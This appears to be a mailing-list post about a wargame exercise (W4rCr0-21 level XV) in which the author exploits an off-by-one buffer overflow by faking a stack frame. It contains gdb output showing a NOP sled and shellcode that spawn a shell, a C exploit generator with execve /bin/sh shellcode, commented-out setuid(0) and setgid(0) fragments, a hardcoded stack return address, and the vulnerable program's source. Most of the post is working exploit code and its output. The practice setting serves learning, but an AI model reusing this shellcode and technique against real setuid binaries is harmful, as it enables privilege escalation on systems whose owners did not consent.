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Fake frame overwriting



Earlier I posted a problem I was having with executing code by overwriting EBP. I almost have it working... Its just one peculiar problem that I am dealing with.
Let me post the gdb output and you it might be clear to you.


[joe@localhostpital wargame]$ gdb ./bof15 core.15254
GNU gdb 5.3-22mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...(no debugging symbols found)...
Core was generated by `./bof15 '.
Program terminated with signal 4, Illegal instruction.
Reading symbols from /lib/i686/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40155f50 in sys_sigabbrev () from /lib/i686/libc.so.6
(gdb) break *0xbffff880
Breakpoint 1 at 0xbffff880
(gdb) x 0xbffff880
0xbffff880: 0x90909090
(gdb) run $VULN
########################
# W4rCr0-21 - LEVEL XV #
########################
- Yeah, right!!!


(no debugging symbols found)...
Breakpoint 1, 0xbffff880 in ?? ()
(gdb) x 0xbffff880
0xbffff880:     0x90909090
(gdb) x/100 0xbffff880
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff900:     0x90909090      0x90909090      0x46b0c029      0x0cb3db29
0xbffff910:     0x890ceb80      0xeb80cdd9      0xc0295e18      0x89074688
0xbffff920:     0x76890c46      0x870bb008      0x084b8df3      0xcd0c538d
0xbffff930:     0xffe3e880      0x622fffff      0x732f6e69      0xfff88068
0xbffff940:     0xfff880bf      0xfff880bf      0xfff880bf      0x787878bf
0xbffff950:     0x78787878      0x4c007878      0x4b535345      0x2f3d5945
0xbffff960:     0x2f637465      0x73656c2e      0x434c0073      0x5041505f
0xbffff970:     0x703d5245      0x52425f74      0x5f434c00      0x52444441
0xbffff980:     0x3d535345      0x425f7470      0x434c0052      0x4e4f4d5f
0xbffff990:     0x52415445      0x74703d59      0x0052425f      0x54534f48
0xbffff9a0:     0x454d414e      0x636f6c3d      0x6f686c61      0x69707473
0xbffff9b0:     0x006c6174      0x4d524554      0x6574783d      0x53006d72
0xbffff9c0:     0x4c4c4548      0x69622f3d      0x61622f6e      0x48006873
0xbffff9d0:     0x53545349      0x3d455a49      0x30303031      0x414d5700
0xbffff9e0:     0x5f52454b      0x5f4e4942      0x454d414e      0x2d746c3d
0xbffff9f0:     0x6b616d77      0x4c007265      0x554e5f43      0x4952454d
0xbffffa00:     0x74703d43      0x0052425f      0x52455355      0x656f6a3d
(gdb) c
Continuing.
Die: DW_TAG_formal_parameter (abbrev = 41, offset = 11608)
       has children: FALSE
       attributes:
               DW_AT_name (DW_FORM_string) string: "sym"
               DW_AT_decl_file (DW_FORM_data1) constant: 33
               DW_AT_decl_line (DW_FORM_data2) constant: 365
               DW_AT_type (DW_FORM_ref4) constant: 9043
Dwarf Error: Cannot find type of die.
(gdb) c
Continuing.
sh-2.05b$ exit
exit

Program exited normally.
(gdb)

As you can see, It actually executes my shellcode (running sh-2.05b). However, It seems to die first.... When I run it out side of gdb, It causes an Illegal instruction.

Thanx for all your help!

j0e
	#include <stdio.h>
	#include <unistd.h>

	char sc_linux[] =
///home/joe/code/wargames/dome	
  "\x29\xc0\xb0\x46\x29\xdb"
  "\xb3\x0c\x80\xeb\x0c\x89"
  "\xd9\xcd\x80\xeb\x18\x5e"
  "\x29\xc0\x88\x46\x07\x89"
  "\x46\x0c\x89\x76\x08\xb0"
  "\x0b\x87\xf3\x8d\x4b\x08"
  "\x8d\x53\x0c\xcd\x80\xe8"
  "\xe3\xff\xff\xff\x2f\x62"
  "\x69\x6e\x2f\x73\x68";
	/*
	"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
	"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
	"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
	"\xff\xff\x01\x2f\x68\x6f\x6d\x65\x2f\x6a\x6f\x65"
	"\x2f\x63\x6f\x64\x65\x2f\x77\x61\x72\x67\x61\x6d"
	"\x65\x2f\x64\x6f\x6d\x65\x01";
	*/
// "\x31\xdb"                    /* xor %ebx,%ebx */
 // "\x89\xd8"                    /* mov %ebx,%eax */
  //"\xb0\x17"                    /* mov $0x17,%al */
 // "\xcd\x80"                    /* int $0x80     */
 /* setuid(0); */
//  "\x31\xdb"                    /* xor %ebx,%ebx */
//  "\x89\xd8"                    /* mov %ebx,%eax */
// "\xb0\x17"                    /* mov $0x17,%al */
// "\xcd\x80"                    /* int $0x80     */
 /* setgid(0); */
// "\x31\xdb"                    /* xor %ebx,%ebx */
//  "\x89\xd8"                    /* mov %ebx,%eax */
// "\xb0\x2e"                    /* mov $0x2e,%al */
// "\xcd\x80"                    /* int $0x80     */
 /* /bin/sh execve(); */
// "\x31\xc0"                    /* xor  %eax,%eax   */
//  "\x50"                        /* push %eax        */
//   "\x68\x2f\x2f\x73\x68"        /* push $0x68732f2f */
//   "\x68\x2f\x62\x69\x6e"        /* push $0x6e69622f */
//  "\x89\xe3"                    /* mov  %esp,%ebx   */
//   "\x50"                        /* push %eax        */
//   "\x53"                        /* push %ebx        */
//    "\x89\xe1"                    /* mov  %esp,%ecx   */
//  "\x31\xd2"                    /* xor  %edx,%edx   */
//   "\xb0\x0b"                    /* mov  $0xb,%al    */
//  "\xcd\x80"
//  "\x90\x90"                    /* int  $0x80       */
//  "\x90\x90";
		        /* exit(0); */
 // "\x31\xdb"                    /* xor %ebx,%ebx */
 //"\x89\xd8"                    /* mov %ebx,%eax */
 // "\xb0\x01"                    /* mov $0x01,%al */
//"\xcd\x80";                   /* int $0x80     */
						      


	
	/*Original shell code....
	        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
	        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
	        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
	        "\xd7\xff\xff\xff/bin/sh";
	*/	
	main()
	{
        	int i, j, t;
        	char buffer[1024];

        	bzero(&buffer, 1024);
        	for (i=0;i<=(252-sizeof(sc_linux)-20);i++)
        	{
                	buffer[i] = 0x90;
        	}
        	for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        	{
        	        buffer[i] = sc_linux[j];
        	}
        	
		for(t=0; t < 4;t++ ){
		buffer[i++] = 0x80; //10 0x80498cc 
       		buffer[i++] = 0xf8; // Address of our buffer f6
        	buffer[i++] = 0xff; // ff
        	buffer[i++] = 0xbf; //bf 
		}
		
        	for(t=0; t < 9; t++) { 
			buffer[i++] = 0x78; // overflowchar
		}
		setenv("VULN",buffer,1);
        	system("bash");

	}

Attachment: bof15
Description: Binary data

/*
  W4rCr0-21 - LEVEL XV coded by DownBload

  TIP: One byte to rule them all??? (deja-vu???:)))
*/

#include <stdio.h>


void do_me (char *tralala)
{
 char name[256];
 int x;

 for (x=0;x<=256;x++)
  name[x] = tralala[x];

}
  
main (int argc, char **argv)
{
 system ("/usr/bin/clear");

 printf ("########################\n");
 printf ("# W4rCr0-21 - LEVEL XV #\n");
 printf ("########################\n");
 printf ("- Yeah, right!!!\n\n");

 if (argc == 1) {
  printf ("> Are you a real hacker????\n"); 
  exit(0);
 }
 do_me(argv[1]);
 printf ("> No, you are not a real hacker, you are hidiot :)))");
}